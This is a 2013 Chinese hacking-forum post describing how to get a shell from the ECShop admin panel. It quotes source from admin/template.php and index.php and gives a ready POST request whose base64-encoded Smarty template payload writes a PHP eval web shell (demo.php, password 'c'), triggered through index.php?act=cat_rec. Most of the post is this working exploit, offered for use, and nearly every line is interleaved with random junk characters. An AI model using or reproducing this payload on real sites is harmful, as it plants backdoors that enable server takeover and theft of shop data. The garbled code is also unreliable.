找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2430|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板) ?9 @# c* A! V+ q/ T$ j
; }( t; a) u  y" i. ?
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了$ \4 z# j# x- S
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
5 L0 M, A7 y) Xadmin/template.php+ T6 a! J! T; Y* n7 M, Y! k
$ v) @+ u$ r, _/ B+ u9 H( h
1 if ($_REQUEST['act'] == 'update_library') 1 [2 X, p5 |$ z. ^9 @8 y1 @
. {% ^9 n1 }4 O: J% }
2   
% s! d0 C3 r8 d/ X( e
* g$ {- \$ F" g1 V: M, J3 { & a% g9 H7 Z! C  K* s) W
, x3 _2 L5 m$ w
4     check_authz_json('library_manage');
% @: ]7 X. W- M( o2 A
7 b9 K* }8 i7 a5   
' a+ J: I; a* O2 j0 f. y$ a) D8 M4 S
6     $html = stripslashes(json_str_iconv($_POST['html'])); 0 K- D5 Z% g- ~; n" c
9 z$ S2 Y3 x9 L7 W* s
7   9 m/ V7 A% Y' Y+ }
1 _1 X$ I% j8 r8 {, |2 F1 z
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ X& T0 k; [- F% U* Y
, P. [8 e: [5 [) Z9   
8 S4 m. k& G/ b! ?
: K6 m$ L4 p5 V& W" u5 k6 A5 m4 e10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  w# Y6 N. r; d, G# s+ l" W8 o' M5 W6 a/ `
11   
3 X3 C/ |/ y- s# _  z
5 E' T% ^8 p9 n- `  G& k12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 i1 A4 w# q; K) w! e0 v
  b- v9 ?3 p4 A13   % E6 j8 u/ Z- J6 r& B

, n( A, U/ {6 d14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; M  c0 I( w8 M: s$ I1 q) z3 k) i) F) g( I2 \
15     {
0 [4 b( u- Q+ ?* ?
$ ^4 {# b9 A4 V1 V4 Z. y: d16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 7 b) Y6 m: f; T3 r

" @+ J$ T2 v' E! z( {% d4 J17         make_json_result('', $_LANG['update_lib_success']); ' n( i5 X8 M$ H. U& O
3 G# l" @. B3 ^' ~: J, T- s. R* {+ Y3 u" q
18     } % Z5 F+ x: _  }3 r2 c" \
/ }( s# m* I) B% Z" o
19     else % a9 H& f6 w2 q& F9 i
7 x9 B3 m- J! `+ |; c5 g
20     { 7 e+ h1 m$ B& D, L

. o1 C- \1 T1 |+ ?) T( u8 @& Z- I21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ N# n: ^5 {, v, K& G' V
$ ]' X* M7 ~& B" P1 t22     } 0 z2 M( F; o5 U2 a: ]

( M" [9 {& p* c6 i& H% L23 } & {# D# A& g# ^
, v; W7 V! T! b2 p2 j" D, l6 A
那么找个比较方便调用了模板的文件  b" t1 V$ N1 V& T. i
index.php
+ m4 o+ u3 m6 t8 ?1 U. ~$ i: s- U9 P6 _* V
1 if ($act == 'cat_rec')
( B! q# _. P0 {6 F" [6 L; c) S  u, r. z( P6 t4 m" p. r
2   
; C/ ?7 {0 e: `1 p4 M8 ^! L2 Z/ a6 M& U5 @, E3 s* E" _7 Q+ g
3 { : A2 S3 Q( Q1 X0 v* Y' W4 p4 e2 b2 K
7 m9 x" V! _: p! a# D3 ]* _, V
4   
3 f9 b* H  C; o: t7 K
# S3 G; A2 ^7 V" R; n5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
% q9 s1 h$ d) U0 X
1 S( M- ^1 ^. ]9 F+ L6   ! v  D3 P" G3 T

- V+ t# t  \9 ]4 E8 ]4 q5 W/ S+ W7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
% I! ~5 `$ W6 `- u2 L7 a
( G' Z8 K# L2 z9 R1 E8   
7 b8 H" f! L5 b
/ l/ M5 R4 E) ?$ n) E* A9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 ~# P0 n( _0 v% Q/ C* ~: r! X6 m" V/ Y  X8 a' [
10   7 {1 M- B% d4 U7 P+ f
6 O! R1 E6 v0 r0 I
11     include_once('includes/cls_json.php');
5 V% ~( D& h- Y- {  ^8 f0 M" H: x/ x7 ~3 R7 b
12   
/ n0 L& E+ J" a( h6 K) _8 s' S- \& t4 ^/ ^, I# C
13     $json = new JSON;
! c& S, a, f! N. h) ?, l/ Q! `. a* o3 L0 O% C; `3 Q& k# L
14   $ x# A+ @) d/ \7 a% t
% E% M) [. G# w6 g5 e9 g
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ Z; S4 h0 ^% A5 @! S7 e, L1 g2 Q$ }3 o" I9 P" t
16   
  ?4 L1 k2 [' E1 f/ F: q
# e0 }. p* j- o17     $children = get_children($cat_id);
1 l+ X- U: D( }' U! O) P; |
* `8 ?: {' c+ ?18   + w5 s: i  g( x! @* F

* Z- O. h3 j8 F3 Y9 q+ {19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 / s; d! t4 O0 D# {; X, {2 \; I# _

$ @9 {  I' Q" l% Z5 `  N5 b$ o20   
# @4 g  X: t) _5 f
4 d  n9 U4 O. h" r21     $smarty->assign('cat_rec_sign', 1);
- R* S8 V2 A, h& f; ^7 y! D; o0 H; I" |3 _
22   
( s- l1 b. y4 W1 Z6 y# P( t5 ^' I; `0 f6 g
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
: v' }  B1 S3 Z, [' Y' _5 `2 ]* g# m% p5 M/ e- o  p
24   , V2 C: P' k- r7 n# c. D

$ u$ q! q' {. N% C1 m3 U25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% p8 z% }' U+ M) y% M
8 ~! m6 W2 ]3 @9 c1 Q26   ( v8 l; Y% z0 {7 m! E
! D4 u4 Y9 k/ S* D  Z8 J: H5 i
27         echo $rec_array[$rec_type]; ) I9 }4 }1 @) M" r& R1 j, K5 k
, s( g( H3 b) i, _. S9 p
28   % _: N- L- _. E# u$ S

9 Q2 y7 M1 J  @9 U6 Z7 ~6 w29     die($json->encode($result));
! e8 v( ?7 r+ H# g6 S
" x) s  C0 u, A. m30   : C4 g2 Q$ w5 j, \, w$ P6 @/ _- p7 V

+ r; e1 `: y7 M# D' Y( j31 }
& r( K1 p5 {' m3 p9 u
: e2 ^7 b2 J" f那么就有利用方法了+ H+ @8 O5 M  j8 W
post包到http://localhost/ec/admin/template.php?act=update_library9 m8 I5 _/ Y" i' z" t5 M
Post内容:
! F% n4 z6 Z- b' l  W7 p, A0 k( X$ O6 `1 I6 n: g, j

) ~5 Q: B8 n: [, J  m! I( k1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
) j8 x1 n! r) G1 h% z$ O' T; |( }! u) d& I% A
然后访问http://localhost/ec/index.php?act=cat_rec
! U' N4 b0 `5 J! f
; {: J9 w' X/ g/ T( Wshel地址:http://localhost/ec/demo.php
2 Z  b- ^# B) v$ K" f; S" S密码c
( y  x4 M; k5 B
( B9 [- i. q- y6 S7 Z- y7 M& j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表